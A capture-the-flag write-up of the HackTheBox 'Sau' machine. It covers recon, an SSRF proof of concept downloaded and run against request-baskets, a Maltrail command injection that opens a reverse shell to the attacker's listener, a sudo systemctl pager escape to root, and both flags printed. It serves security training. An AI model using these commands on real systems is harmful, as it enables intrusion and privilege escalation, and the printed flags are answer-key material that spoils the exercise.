✍️
Writeups and Walkthroughs
HomeGitHubPortfolio Twitter/X Medium Cont@ct
  • ✍️Writeups and Walkthroughs
  • THM
    • Simple CTF
    • RootMe
    • Eternal Blue
    • Vulnversity
    • Pickle Rick
    • Brooklyn Nine Nine
    • Kenobi
    • Bounty Hacker
    • Overpass
    • LazyAdmin
    • Ignite
    • Bolt
    • Agent Sudo
    • Anonymous
    • Startup
    • Wgel
    • Lian_Yu
    • Blog
    • ColdBox
    • H4cked
    • Smag Grotto
    • Ice
    • Blaster
    • The Sticker Shop
    • 🔟OWASP
      • 1️⃣Injection
    • Active Directory Basics
    • Attacktive Directory
    • Post-Exploitation Basics
  • HackTheBox
    • Active
    • Devel
    • Delivery
    • Analytics
    • Bashed
    • Valentine
    • Sau
    • Sunday
    • Cap
    • Bizness
    • Chemistry %
  • Vulnhub
    • Brainpain (BoF)
  • DockerLabs
    • Trust
    • Upload
    • Vacaciones
  • DVWA
    • Install and configure DVWA
    • Command Injection
    • CSRF
    • File Inclusion
    • SQL Injection
    • SQLi Blind
  • Mutillidae II
    • Install & configure OWASP Mutillidae II
    • SQLi
      • SQLi Login Bypass
      • Extracting Data
      • Finding Number of Columns
      • Pivoting with SQL injection
    • Command Injection
      • Extracting User Accounts
      • Web Shell
    • IDOR & File Inclusion
      • Edit Another User's Profile
      • Extracting User Accounts
      • Extracting User Accounts with Local File Inclusion
      • Web Shell with Remote File Inclusion (RFI)
    • XSS
      • XSS Reflected
      • XSS Stored
      • XSS DOM-Based
  • Secure Bank
    • Install & configure Secure Bank
    • -----
      • SQLi Login Bypass
      • Extracting Data
      • Finding Number of Columns
      • Pivoting with SQL injection
    • -----
      • Extracting User Accounts
      • Web Shell
  • PortSwigger - Web Security Academy
    • Burp Suite Config
    • Information Disclosure
      • Information disclosure vulnerabilities
      • Common sources of information disclosure
        • Information disclosure in error messages
        • Information disclosure on debug page
        • Source code disclosure via backup files
        • Authentication bypass via information disclosure
        • Information disclosure in version control history
    • Essential skills
      • Obfuscating attacks using encodings
        • SQL injection with filter bypass via XML encoding
      • Using Burp Scanner
      • Identifying unknown vulnerabilities
    • Server-side vulnerabilities
      • Path traversal
        • File path traversal, simple case
      • Access control
        • Unprotected admin functionality
        • Unprotected admin functionality with unpredictable URL
        • User role controlled by request parameter
        • User ID controlled by request parameter, with unpredictable user IDs
        • User ID controlled by request parameter with password disclosure
      • Authentication
        • Username enumeration via different responses
        • 2FA simple bypass
      • Server-side request forgery (SSRF)
        • Basic SSRF against the local server
        • Basic SSRF against another back-end system
      • File upload vulnerabilities
        • Remote code execution via web shell upload
        • Web shell upload via Content-Type restriction bypass
      • OS Command Injection
        • OS command injection, simple case
      • SQL injection
        • SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
        • SQL injection vulnerability allowing login bypass
    • JWT Attacks
      • Json Web Tokens (JWT)
      • Exploiting JWT
        • JWT authentication bypass via unverified signature
        • JWT authentication bypass via flawed signature verification
        • JWT authentication bypass via weak signing key
        • To-Do
          • JWT authentication bypass via jwk header injection - %
          • JWT authentication bypass via jku header injection - %
          • JWT authentication bypass via kid header path traversal - %
    • API Testing
      • API Testing
        • Exploiting an API endpoint using documentation
        • Finding and exploiting an unused API endpoint
        • Exploiting a mass assignment vulnerability
      • Server-side parameter pollution
        • Exploiting server-side parameter pollution in a query string
    • Deserialization Insecure
      • Serialization vs Deserialization
        • Lab
        • Lab
      • Java Insecure Deserialization
        • Lab
        • Lab
      • PHP Insecure Deserialization
        • Lab
        • Lab
  • HomeMade Labs
    • Active Directory
      • AD Lab Setup
      • AD Enumeration
      • SMB Common Attacks
    • Pivoting
      • Pivoting Theory
      • Pivoting Guidelines
      • Lab (3 Targets)
    • Buffer Overflow (BoF)
      • BoF Theory
      • Brainpain (BoF Lab)
Powered by GitBook
On this page
  • Task 0 - Deploy machine
  • Task 1 - Reconnaissance
  • 1.1 - Which is the highest open TCP port on the target machine?
  • 1.2 - What is the name of the open source software that the application on 55555 is "powered by"?
  • 1.3 - What is the version of request-baskets running on Sau?
  • Task 2 - Find user flag
  • 2.1 - What is the 2023 CVE ID for a Server-Side Request Forgery (SSRF) in this version of request-baskets?
  • 2.2 - There is an unauthenticated command injection vulnerability in MailTrail v0.53. What is the relative path targeted by this exploit?
  • 2.3 - What user is the Mailtrack application running as on Sau?
  • 2.4 - Submit the flag located in the puma user's home directory.
  • Task 3 - Find root flag
  • 3.1 - What is the full path to the application the user puma can run as root on Sau?
  • 3.2 - What is the full version string for the instance of systemd installed on Sau?
  • 3.3 - What is the CVE ID for a local privilege escalation vulnerability that affects that particular systemd version?
  • 3.4 - Submit the flag located in the root user's home directory.
  1. HackTheBox

Sau

https://www.hackthebox.com/machines/sau

PreviousValentineNextSunday

Last updated 6 months ago

🔗

About

Machine Description

Sau is an Easy Difficulty Linux machine that features a Request Baskets instance that is vulnerable to Server-Side Request Forgery (SSRF) via [CVE-2023-27163](https://nvd.nist.gov/vuln/detail/CVE-2023-27163). Leveraging the vulnerability we are to gain access to a Maltrail instance that is vulnerable to Unauthenticated OS Command Injection, which allows us to gain a reverse shell on the machine as puma. A sudo misconfiguration is then exploited to gain a root shell.

Area of Interest

Web Application Injections

Technology

Request Baskets Maltrail

Vulnerabilities

OS Command Injection Server Side Request Forgery (SSRF)

Security Tools

Netcat Nmap

Languages

Bash

Techniques

Reconnaissance SUDO Exploitation

CVE

CVE-2023-26604 CVE-2023-27163

Task 0 - Deploy machine

🎯 Target IP: 10.129.229.26

Create a directory on the Desktop with the machine's name, and inside this directory, create another directory to store the materials and outputs needed to run the machine, including the scans made with nmap.

Task 1 - Reconnaissance

su
echo "10.129.229.26 sau.htb" >> /etc/hosts

mkdir -p htb/sau.htb
cd htb/sau.htb
mkdir {nmap,content,exploits,scripts}
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts

I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.

ping -c 3 sau.htb
PING sau.htb (10.129.229.26) 56(84) bytes of data.
64 bytes from sau.htb (10.129.229.26): icmp_seq=1 ttl=63 time=61.0 ms
64 bytes from sau.htb (10.129.229.26): icmp_seq=2 ttl=63 time=59.5 ms
64 bytes from sau.htb (10.129.229.26): icmp_seq=3 ttl=63 time=60.0 ms

Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target should be a *nix system, while Windows systems usually have a TTL of 128 secs.

1.1 - Which is the highest open TCP port on the target machine?

nmap -p0- -sS -Pn -vvv sau.htb -oN nmap/tcp_port_scan
PORT      STATE    SERVICE REASON
22/tcp    open     ssh     syn-ack ttl 63
80/tcp    filtered http    no-response
8338/tcp  filtered unknown no-response
55555/tcp open     unknown syn-ack ttl 63
command
result

sS

SynScan

sC

run default scripts

sV

enumerate versions

A

aggressive mode

T4

run a bit faster

oN

output to file with nmap formatting

It looks like there are 2 open TCP ports on the machine: 22, 55555 and 2 filtered TCP ports: 80, 8338.

55555

1.2 - What is the name of the open source software that the application on 55555 is "powered by"?

Then, we can proceed to analyze services active on open ports:

nmap -p22,55555 -sS -Pn -n -v -sCV -T4 sau.htb -oN nmap/service_port_scan
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sat, 09 Nov 2024 14:27:59 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sat, 09 Nov 2024 14:27:33 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sat, 09 Nov 2024 14:27:33 GMT
|_    Content-Length: 0

Strangely enough, port 80 is filtered, but there seems to be some relationship with the service active on port 55555, let's go and see.

whatweb sau.htb:55555
http://sau.htb:55555 [302 Found] Country[RESERVED][ZZ], IP[10.129.229.26], RedirectLocation[/web]
http://sau.htb:55555/web [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, IP[10.129.229.26], JQuery[3.2.1], PasswordField, Script, Title[Request Baskets]
gobuster dir -u http://sau.htb:55555 -w /usr/share/wordlists/dirb/common.txt

We discover only this web dir: /web (Status: 200) that unfortunely corrispond to our index page.

request-baskets

1.3 - What is the version of request-baskets running on Sau?

1.2.1

Task 2 - Find user flag

2.1 - What is the 2023 CVE ID for a Server-Side Request Forgery (SSRF) in this version of request-baskets?

CVE-2023-27163

we can download CVE-2023-27163.sh and execute it exploiting our vulnerability:

wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
chmod +x CVE-2023-27163.sh
./CVE-2023-27163.sh http://sau.htb:55555 http://sau.htb:80

maltrail

2.2 - There is an unauthenticated command injection vulnerability in MailTrail v0.53. What is the relative path targeted by this exploit?

Googling 'MailTrail v0.53' we discover that's vulnerable to an unauthenticated OS Command Injection (RCE)

the username parameter of the login page doesn't properly sanitize the input, allowing an attacker to inject OS commands.

The exploit creates a reverse shell payload encoded in Base64 to bypass potential protections like WAF, IPS or IDS and delivers it to the target URL using a curl command The payload is then executed on the target system, establishing a reverse shell connection back to the attacker's specified IP and port.

Attacker machine:

#first check our IP using ip a
nc -nvlp 4444

Target Machine

python3 exploit.py 10.10.14.6 4444 http://sau.htb:55555/hbvoml

/login

2.3 - What user is the Mailtrack application running as on Sau?

Taking a little system enumeration (whoami and/or id) we can check user active on machine

puma

2.4 - Submit the flag located in the puma user's home directory.

cd ~
ll
cat user.txt
🚩 Flag 1 (user.txt)

8fa7f7719f0e91d9d63187d1b074c457

Task 3 - Find root flag

3.1 - What is the full path to the application the user puma can run as root on Sau?

Very good, we can proceed with privilege escalation for obtaining the root flag.

Executing sudo -l command we can commands that user puma can execute with sudo privileges

/usr/bin/systemctl

3.2 - What is the full version string for the instance of systemd installed on Sau?

We know that systemctl is a service associated at process systemd, we can search version digiting: systemctl --version

systemd 245 (245.4-4ubuntu3.22)

3.3 - What is the CVE ID for a local privilege escalation vulnerability that affects that particular systemd version?

Googling 'usr/bin/systemctl status trail.service', we discover this CVE:

and this useful resource:

then, only executing: sudo /usr/bin/systemctl status trail.service

and adding !sh we can spawn a new shell, directly with root privileges.

CVE-2023-26604

3.4 - Submit the flag located in the root user's home directory.

Let's go into root folder for catching root flag!

🚩 Flag 2 (root.txt)

c4fc01d4944cf3925f079da70abdaea7

Browsing it: we see that there's up a web app to create a basket to collect and inspect HTTP requests. using request-baskets app vs 1.2.1.

Googling 'request-baskets 1.2.1' we discover that's vulnerable to a recent CVE via an attack.

After understanding and reading details regarding usage:

and now we can concatenate basket value to our URL and finally reach filtered port 80:

http://sau.htb:55555/web
SSRF
PoC
http://sau.htb:55555/hbvoml
Sau
NVD - CVE-2023-27163
GitHub - entr0pie/CVE-2023-27163: Proof-of-Concept for Server Side Request Forgery (SSRF) in request-baskets (<= v.1.2.1)GitHub
GitHub - spookier/Maltrail-v0.53-ExploitGitHub
NVD - cve-2023-26604
CVE-2023-26604: systemd privilege escalation flaw affects Linux distrosCybersecurity News
Logo
Logo
Logo
Logo
Logo
@hackthebox.com